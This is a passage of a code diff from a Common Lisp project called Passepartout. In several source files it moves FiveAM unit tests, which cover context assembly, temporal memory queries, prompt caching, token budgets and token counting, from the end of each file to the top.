-(fiveam:test test-extract-headlines
-  "Contract 1: archivist-extract-headlines parses Org content."
-  (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
-         (headlines (archivist-extract-headlines content)))
-    (fiveam:is (listp headlines))
-    (fiveam:is (>= (length headlines) 1))))
-
-(fiveam:test test-headline-to-filename
-  "Contract 2: archivist-headline-to-filename sanitizes titles."
-  (let ((filename (archivist-headline-to-filename "My Project: Overview")))
-    (fiveam:is (search "my_project_overview" filename :test #'char-equal))
-    (fiveam:is (not (search ":" filename)))))
-
-(fiveam:test test-archivist-create-note
-  "Contract 3: archivist-create-note writes a Zettelkasten note to disk."
-  (let* ((tmp-dir "/tmp/passepartout-archivist-test/")
-         (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
-    (uiop:ensure-all-directories-exist (list tmp-dir))
-    (unwind-protect
-         (progn
-           (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
-               "Expected note creation to return T")
-           (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
-               "Expected file test_note.org to exist"))
-      (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))

lisp/symbolic-awareness.lisp

@@ -1,3 +1,70 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-peripheral-vision-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:vision-suite))
+(in-package :passepartout-peripheral-vision-tests)
+
+(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
+(in-suite vision-suite)
+
+(test test-foveal-rendering
+  "Contract 1: foveal content inline, peripheral content title-only."
+  (clrhash passepartout::*memory-store*)
+  (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
+                :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
+                             :raw-content "FOVEAL CONTENT" :contents nil)
+                            (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
+                             :raw-content "PERIPHERAL CONTENT" :contents nil)))))
+    (ingest-ast ast)
+    (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
+      (is (search "FOVEAL CONTENT" output))
+      (is (search "* Peripheral Node" output))
+      (is (not (search "PERIPHERAL CONTENT" output))))))
+
+(test test-awareness-budget
+  "Contract 1: all active projects appear in awareness output."
+  (clrhash passepartout::*memory-store*)
+  (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
+  (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
+  (let ((output (context-awareness-assemble)))
+    (is (search "Project 1" output))
+    (is (search "Project 2" output))))
+
+(test test-context-empty-memory
+  "Contract 1: empty memory produces clean output without error."
+  (clrhash passepartout::*memory-store*)
+  (let ((output (context-awareness-assemble)))
+    (is (stringp output))
+    (is (search "MEMEX" output :test #'char-equal))))
+
+(test test-context-no-foveal-focus
+  "Contract 2: without foveal focus, no inline content appears."
+  (clrhash passepartout::*memory-store*)
+  (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
+                :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
+                             :raw-content "CHILD CONTENT" :contents nil)))))
+    (ingest-ast ast)
+    (let ((output (context-awareness-assemble nil)))
+      (is (stringp output))
+      (is (not (search "CHILD CONTENT" output))))))
+
+(test test-semantic-retrieval-trigram
+  "Contract v0.4.0: trigram backend produces non-zero similarity for related content."
+  (let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
+        (v2 (passepartout::embedding-backend-trigram "add password authentication")))
+    (let ((sim (passepartout::vector-cosine-similarity v1 v2)))
+      (is (> sim 0.0))))
+  (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
+        (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
+    (let ((sim (passepartout::vector-cosine-similarity v3 v4)))
+      (is (> sim 0.75))))
+  (let ((v5 (passepartout::embedding-backend-trigram "authentication"))
+        (v6 (passepartout::embedding-backend-trigram "banana")))
+    (let ((sim (passepartout::vector-cosine-similarity v5 v6)))
+      (is (< sim 0.3)))))
+
 (in-package :passepartout)
 
 (defun context-query (&key tag todo-state type scope)
@@ -159,70 +226,3 @@ Privacy-filtered objects (matching the Dispatcher's privacy tags) are excluded."
 (defskill :passepartout-symbolic-awareness
   :priority 50
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-peripheral-vision-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:vision-suite))
-(in-package :passepartout-peripheral-vision-tests)
-
-(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
-(in-suite vision-suite)
-
-(test test-foveal-rendering
-  "Contract 1: foveal content inline, peripheral content title-only."
-  (clrhash passepartout::*memory-store*)
-  (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
-                :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
-                             :raw-content "FOVEAL CONTENT" :contents nil)
-                            (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
-                             :raw-content "PERIPHERAL CONTENT" :contents nil)))))
-    (ingest-ast ast)
-    (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
-      (is (search "FOVEAL CONTENT" output))
-      (is (search "* Peripheral Node" output))
-      (is (not (search "PERIPHERAL CONTENT" output))))))
-
-(test test-awareness-budget
-  "Contract 1: all active projects appear in awareness output."
-  (clrhash passepartout::*memory-store*)
-  (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
-  (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
-  (let ((output (context-awareness-assemble)))
-    (is (search "Project 1" output))
-    (is (search "Project 2" output))))
-
-(test test-context-empty-memory
-  "Contract 1: empty memory produces clean output without error."
-  (clrhash passepartout::*memory-store*)
-  (let ((output (context-awareness-assemble)))
-    (is (stringp output))
-    (is (search "MEMEX" output :test #'char-equal))))
-
-(test test-context-no-foveal-focus
-  "Contract 2: without foveal focus, no inline content appears."
-  (clrhash passepartout::*memory-store*)
-  (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
-                :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
-                             :raw-content "CHILD CONTENT" :contents nil)))))
-    (ingest-ast ast)
-    (let ((output (context-awareness-assemble nil)))
-      (is (stringp output))
-      (is (not (search "CHILD CONTENT" output))))))
-
-(test test-semantic-retrieval-trigram
-  "Contract v0.4.0: trigram backend produces non-zero similarity for related content."
-  (let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
-        (v2 (passepartout::embedding-backend-trigram "add password authentication")))
-    (let ((sim (passepartout::vector-cosine-similarity v1 v2)))
-      (is (> sim 0.0))))
-  (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
-        (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
-    (let ((sim (passepartout::vector-cosine-similarity v3 v4)))
-      (is (> sim 0.75))))
-  (let ((v5 (passepartout::embedding-backend-trigram "authentication"))
-        (v6 (passepartout::embedding-backend-trigram "banana")))
-    (let ((sim (passepartout::vector-cosine-similarity v5 v6)))
-      (is (< sim 0.3)))))

lisp/symbolic-scope.lisp

@@ -1,3 +1,45 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-context-tests
+  (:use :cl :passepartout)
+  (:export #:context-suite))
+
+(in-package :passepartout-context-tests)
+
+(fiveam:def-suite context-suite :description "Context manager verification")
+(fiveam:in-suite context-suite)
+
+(fiveam:test test-push-pop-context
+  "Contract 1-2: push-context and pop-context maintain stack order."
+  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
+         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
+         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
+    (when stack-var
+      (setf (symbol-value stack-var) nil)
+      (push-context :project "testapp" :base-path "/tmp" :scope :project)
+      (fiveam:is (= 1 (length (symbol-value stack-var))))
+      (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
+      (pop-context)
+      (fiveam:is (null (symbol-value stack-var))))))
+
+(fiveam:test test-context-save-load
+  "Contract 3-4: context-save and context-load round-trip."
+  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
+         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
+         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
+    (when (and stack-var pf-var)
+      (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
+        (setf (symbol-value pf-var) tmpfile)
+        (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
+        (context-save)
+        (fiveam:is (probe-file tmpfile))
+        (setf (symbol-value stack-var) nil)
+        (context-load)
+        (fiveam:is (= 1 (length (symbol-value stack-var))))
+        (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
+        (ignore-errors (delete-file tmpfile))))))
+
 (in-package :passepartout)
 
 (defvar *context-stack* nil
@@ -166,45 +208,3 @@ until stack is empty or :memex context is reached."
 
 ;; Restore persisted context on load
 (context-load)
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-context-tests
-  (:use :cl :passepartout)
-  (:export #:context-suite))
-
-(in-package :passepartout-context-tests)
-
-(fiveam:def-suite context-suite :description "Context manager verification")
-(fiveam:in-suite context-suite)
-
-(fiveam:test test-push-pop-context
-  "Contract 1-2: push-context and pop-context maintain stack order."
-  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
-         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
-         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
-    (when stack-var
-      (setf (symbol-value stack-var) nil)
-      (push-context :project "testapp" :base-path "/tmp" :scope :project)
-      (fiveam:is (= 1 (length (symbol-value stack-var))))
-      (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
-      (pop-context)
-      (fiveam:is (null (symbol-value stack-var))))))
-
-(fiveam:test test-context-save-load
-  "Contract 3-4: context-save and context-load round-trip."
-  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
-         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
-         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
-    (when (and stack-var pf-var)
-      (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
-        (setf (symbol-value pf-var) tmpfile)
-        (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
-        (context-save)
-        (fiveam:is (probe-file tmpfile))
-        (setf (symbol-value stack-var) nil)
-        (context-load)
-        (fiveam:is (= 1 (length (symbol-value stack-var))))
-        (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
-        (ignore-errors (delete-file tmpfile))))))

lisp/symbolic-time-memory.lisp

@@ -1,3 +1,53 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-time-memory-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:time-memory-suite))
+
+(in-package :passepartout-time-memory-tests)
+
+(def-suite time-memory-suite :description "Temporal memory filtering")
+(in-suite time-memory-suite)
+
+(test test-memory-objects-since
+  "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
+  (clrhash passepartout::*memory-store*)
+  (let ((t0 (get-universal-time)))
+    (sleep 1)
+    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
+    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
+    (sleep 1)
+    (let ((t1 (get-universal-time)))
+      (sleep 1)
+      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
+      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
+      (let ((since-t1 (passepartout::memory-objects-since t1)))
+        (is (= 2 (length since-t1)))
+        (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
+          (is (string= "time-c" (first ids)))
+          (is (string= "time-d" (second ids))))
+        (let ((since-t0 (passepartout::memory-objects-since t0)))
+          (is (= 4 (length since-t0))))))))
+
+(test test-memory-objects-in-range
+  "Contract 2: ingest nodes, verify range query returns correct subset."
+  (clrhash passepartout::*memory-store*)
+  (let ((t0 (get-universal-time)))
+    (sleep 1)
+    (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
+    (sleep 1)
+    (let ((t1 (get-universal-time)))
+      (sleep 1)
+      (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
+      (sleep 1)
+      (let ((t2 (get-universal-time)))
+        (sleep 1)
+        (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
+        (let ((range (passepartout::memory-objects-in-range t1 t2)))
+          (is (= 1 (length range)))
+          (is (string= "rng-2" (memory-object-id (first range)))))))))
+
 (in-package :passepartout)
 
 (defun memory-objects-since (timestamp)
@@ -61,53 +111,3 @@ Falls back to context-query if temporal filtering is not requested."
                                             time-filtered)
                              time-filtered)))
       (subseq todo-filtered 0 (min max-results (length todo-filtered))))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-time-memory-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:time-memory-suite))
-
-(in-package :passepartout-time-memory-tests)
-
-(def-suite time-memory-suite :description "Temporal memory filtering")
-(in-suite time-memory-suite)
-
-(test test-memory-objects-since
-  "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
-  (clrhash passepartout::*memory-store*)
-  (let ((t0 (get-universal-time)))
-    (sleep 1)
-    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
-    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
-    (sleep 1)
-    (let ((t1 (get-universal-time)))
-      (sleep 1)
-      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
-      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
-      (let ((since-t1 (passepartout::memory-objects-since t1)))
-        (is (= 2 (length since-t1)))
-        (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
-          (is (string= "time-c" (first ids)))
-          (is (string= "time-d" (second ids))))
-        (let ((since-t0 (passepartout::memory-objects-since t0)))
-          (is (= 4 (length since-t0))))))))
-
-(test test-memory-objects-in-range
-  "Contract 2: ingest nodes, verify range query returns correct subset."
-  (clrhash passepartout::*memory-store*)
-  (let ((t0 (get-universal-time)))
-    (sleep 1)
-    (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
-    (sleep 1)
-    (let ((t1 (get-universal-time)))
-      (sleep 1)
-      (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
-      (sleep 1)
-      (let ((t2 (get-universal-time)))
-        (sleep 1)
-        (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
-        (let ((range (passepartout::memory-objects-in-range t1 t2)))
-          (is (= 1 (length range)))
-          (is (string= "rng-2" (memory-object-id (first range)))))))))

lisp/token-economics.lisp

@@ -1,3 +1,102 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-token-economics-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:token-economics-suite))
+
+(in-package :passepartout-token-economics-tests)
+
+(def-suite token-economics-suite
+    :description "Prompt prefix caching, incremental context, token budget")
+(in-suite token-economics-suite)
+
+(test test-prompt-prefix-cached-identity
+  "Contract 1: prompt-prefix-cached includes identity-content when provided."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((prefix (passepartout::prompt-prefix-cached
+                 "Agent" "### Mode: concise" "" nil "No tools")))
+    (is (stringp prefix))
+    (is (search "IDENTITY" prefix))
+    (is (search "Mode: concise" prefix))
+    (is (search "TOOLS" prefix))))
+
+(test test-prompt-prefix-cached-builds
+  "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
+    (is (stringp prefix))
+    (is (search "IDENTITY" prefix))
+    (is (search "TOOLS" prefix))))
+
+(test test-prompt-prefix-cached-hits
+  "Contract 1: second call with same inputs returns cached result."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
+    (is (string= p1 p2))))
+
+(test test-prompt-prefix-cached-miss
+  "Contract 1: different inputs rebuild the cache."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
+    (is (not (string= p1 p2)))
+    (is (search "Bot" p2))))
+
+(test test-context-assemble-cached-skips-heartbeat
+  "Contract 2: heartbeat sensors skip context assembly, return nil."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :heartbeat)))
+    (is (null result))))
+
+(test test-context-assemble-cached-skips-delegation
+  "Contract 2: delegation sensors also skip assembly."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :delegation)))
+    (is (null result))))
+
+(test test-context-assemble-cached-non-skip
+  "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :user-input)))
+    (is (stringp result))
+    (is (> (length result) 0))))
+
+(test test-enforce-token-budget-passthrough
+  "Contract 3: under-budget prompts pass through unchanged."
+  (multiple-value-bind (p c l u m)
+      (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
+    (is (string= "hi" p))
+    (is (string= "ctxt" c))
+    (is (string= "log" l))
+    (is (string= "user" u))
+    (is (null m))))
+
+(test test-enforce-token-budget-trims
+  "Contract 3: over-budget prompts get trimmed."
+  (let ((big-prefix (make-string 20000 :initial-element #\x)))
+    (multiple-value-bind (p c l u m)
+        (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
+      (declare (ignore p l u m))
+      ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
+      (is (or (stringp c) (null c)))
+      (is (search "[Context trimmed" (or c ""))))))
+
+(test test-token-economics-initialize
+  "Contract 4: initialize zeroes all cache state."
+  (setf (car passepartout::*prompt-prefix-cache*) 12345
+        (cdr passepartout::*prompt-prefix-cache*) "stale")
+  (setf (getf passepartout::*context-cache* :rendered) "stale context")
+  (passepartout::token-economics-initialize)
+  (is (null (car passepartout::*prompt-prefix-cache*)))
+  (is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
+  (is (string= "" (getf passepartout::*context-cache* :rendered))))
+
 (in-package :passepartout)
 
 (defvar *prompt-prefix-cache* (cons nil "")
@@ -122,105 +221,6 @@ Returns nil when no context cache data is available."
         (min 100 (floor (* 100 tokens) limit))
         nil)))
 
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-token-economics-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:token-economics-suite))
-
-(in-package :passepartout-token-economics-tests)
-
-(def-suite token-economics-suite
-    :description "Prompt prefix caching, incremental context, token budget")
-(in-suite token-economics-suite)
-
-(test test-prompt-prefix-cached-identity
-  "Contract 1: prompt-prefix-cached includes identity-content when provided."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached
-                 "Agent" "### Mode: concise" "" nil "No tools")))
-    (is (stringp prefix))
-    (is (search "IDENTITY" prefix))
-    (is (search "Mode: concise" prefix))
-    (is (search "TOOLS" prefix))))
-
-(test test-prompt-prefix-cached-builds
-  "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
-    (is (stringp prefix))
-    (is (search "IDENTITY" prefix))
-    (is (search "TOOLS" prefix))))
-
-(test test-prompt-prefix-cached-hits
-  "Contract 1: second call with same inputs returns cached result."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
-    (is (string= p1 p2))))
-
-(test test-prompt-prefix-cached-miss
-  "Contract 1: different inputs rebuild the cache."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
-    (is (not (string= p1 p2)))
-    (is (search "Bot" p2))))
-
-(test test-context-assemble-cached-skips-heartbeat
-  "Contract 2: heartbeat sensors skip context assembly, return nil."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :heartbeat)))
-    (is (null result))))
-
-(test test-context-assemble-cached-skips-delegation
-  "Contract 2: delegation sensors also skip assembly."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :delegation)))
-    (is (null result))))
-
-(test test-context-assemble-cached-non-skip
-  "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :user-input)))
-    (is (stringp result))
-    (is (> (length result) 0))))
-
-(test test-enforce-token-budget-passthrough
-  "Contract 3: under-budget prompts pass through unchanged."
-  (multiple-value-bind (p c l u m)
-      (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
-    (is (string= "hi" p))
-    (is (string= "ctxt" c))
-    (is (string= "log" l))
-    (is (string= "user" u))
-    (is (null m))))
-
-(test test-enforce-token-budget-trims
-  "Contract 3: over-budget prompts get trimmed."
-  (let ((big-prefix (make-string 20000 :initial-element #\x)))
-    (multiple-value-bind (p c l u m)
-        (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
-      (declare (ignore p l u m))
-      ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
-      (is (or (stringp c) (null c)))
-      (is (search "[Context trimmed" (or c ""))))))
-
-(test test-token-economics-initialize
-  "Contract 4: initialize zeroes all cache state."
-  (setf (car passepartout::*prompt-prefix-cache*) 12345
-        (cdr passepartout::*prompt-prefix-cache*) "stale")
-  (setf (getf passepartout::*context-cache* :rendered) "stale context")
-  (passepartout::token-economics-initialize)
-  (is (null (car passepartout::*prompt-prefix-cache*)))
-  (is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
-  (is (string= "" (getf passepartout::*context-cache* :rendered))))
-
 (in-package :passepartout-token-economics-tests)
 
 (test test-context-usage-percentage

lisp/tokenizer.lisp

@@ -1,3 +1,75 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-tokenizer-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:tokenizer-suite))
+
+(in-package :passepartout-tokenizer-tests)
+
+(def-suite tokenizer-suite :description "Token counting and cost estimation")
+(in-suite tokenizer-suite)
+
+(test test-count-tokens-default
+  "Contract 1: count-tokens returns non-zero for a non-empty string."
+  (let ((count (count-tokens "hello world")))
+    (is (> count 0))
+    (is (integerp count))))
+
+(test test-count-tokens-known-model
+  "Contract 1: count-tokens with a known model returns a count."
+  (let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
+    (is (> count 0))
+    (is (integerp count))))
+
+(test test-count-tokens-unknown-model
+  "Contract 1: count-tokens with an unknown model falls back to default."
+  (let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
+    (is (> count 0))
+    (is (integerp count))))
+
+(test test-count-tokens-empty
+  "Contract 1: count-tokens on empty string returns 0."
+  (let ((count (count-tokens "")))
+    (is (= 0 count))))
+
+(test test-model-token-ratio-known
+  "Contract 2: known model returns correct ratio."
+  (is (= 4.0 (model-token-ratio :gpt-4o-mini)))
+  (is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
+  (is (= 3.5 (model-token-ratio :llama-3.1-70b))))
+
+(test test-model-token-ratio-unknown
+  "Contract 2: unknown model returns default ratio."
+  (is (= 4.0 (model-token-ratio :unknown-model-abc))))
+
+(test test-token-cost-known
+  "Contract 3: token-cost returns a number for known model."
+  (let ((cost (token-cost :gpt-4o-mini 1000)))
+    (is (numberp cost))
+    (is (> cost 0.0))))
+
+(test test-token-cost-unknown
+  "Contract 3: token-cost returns 0.0 for unknown model."
+  (is (= 0.0 (token-cost :no-such-model 1000))))
+
+(test test-provider-token-cost
+  "Contract: provider-token-cost maps provider to model price."
+  (let ((cost (provider-token-cost :deepseek 1000)))
+    (is (numberp cost))
+    (is (> cost 0.0))))
+
+(test test-count-tokens-ratio-sensitivity
+  "Contract 1: longer text produces proportionally more tokens."
+  (let ((short (count-tokens "hi" :model :gpt-4o-mini))
+        (long  (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
+    (is (> long short))))
+
+(test test-count-tokens-non-string
+  "Contract 1: non-string values are coerced and counted."
+  (let ((count (count-tokens 12345)))
+    (is (> count 0))))
+
 (in-package :passepartout)
 
 (defparameter *model-token-ratios*
@@ -72,75 +144,3 @@ Uses the provider's default model for pricing."
     (if model
         (token-cost model token-count)
         0.0)))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-tokenizer-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:tokenizer-suite))
-
-(in-package :passepartout-tokenizer-tests)
-
-(def-suite tokenizer-suite :description "Token counting and cost estimation")
-(in-suite tokenizer-suite)
-
-(test test-count-tokens-default
-  "Contract 1: count-tokens returns non-zero for a non-empty string."
-  (let ((count (count-tokens "hello world")))
-    (is (> count 0))
-    (is (integerp count))))
-
-(test test-count-tokens-known-model
-  "Contract 1: count-tokens with a known model returns a count."
-  (let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
-    (is (> count 0))
-    (is (integerp count))))
-
-(test test-count-tokens-unknown-model
-  "Contract 1: count-tokens with an unknown model falls back to default."
-  (let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
-    (is (> count 0))
-    (is (integerp count))))
-
-(test test-count-tokens-empty
-  "Contract 1: count-tokens on empty string returns 0."
-  (let ((count (count-tokens "")))
-    (is (= 0 count))))
-
-(test test-model-token-ratio-known
-  "Contract 2: known model returns correct ratio."
-  (is (= 4.0 (model-token-ratio :gpt-4o-mini)))
-  (is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
-  (is (= 3.5 (model-token-ratio :llama-3.1-70b))))
-
-(test test-model-token-ratio-unknown
-  "Contract 2: unknown model returns default ratio."
-  (is (= 4.0 (model-token-ratio :unknown-model-abc))))
-
-(test test-token-cost-known
-  "Contract 3: token-cost returns a number for known model."
-  (let ((cost (token-cost :gpt-4o-mini 1000)))
-    (is (numberp cost))
-    (is (> cost 0.0))))
-
-(test test-token-cost-unknown
-  "Contract 3: token-cost returns 0.0 for unknown model."
-  (is (= 0.0 (token-cost :no-such-model 1000))))
-
-(test test-provider-token-cost
-  "Contract: provider-token-cost maps provider to model price."
-  (let ((cost (provider-token-cost :deepseek 1000)))
-    (is (numberp cost))
-    (is (> cost 0.0))))
-
-(test test-count-tokens-ratio-sensitivity
-  "Contract 1: longer text produces proportionally more tokens."
-  (let ((short (count-tokens "hi" :model :gpt-4o-mini))
-        (long  (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
-    (is (> long short))))
-
-(test test-count-tokens-non-string
-  "Contract 1: non-string values are coerced and counted."
-  (let ((count (count-tokens 12345)))
-    (is (> count 0))))

org/channel-cli.org

@@ -10,32 +10,7 @@ The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout o
 
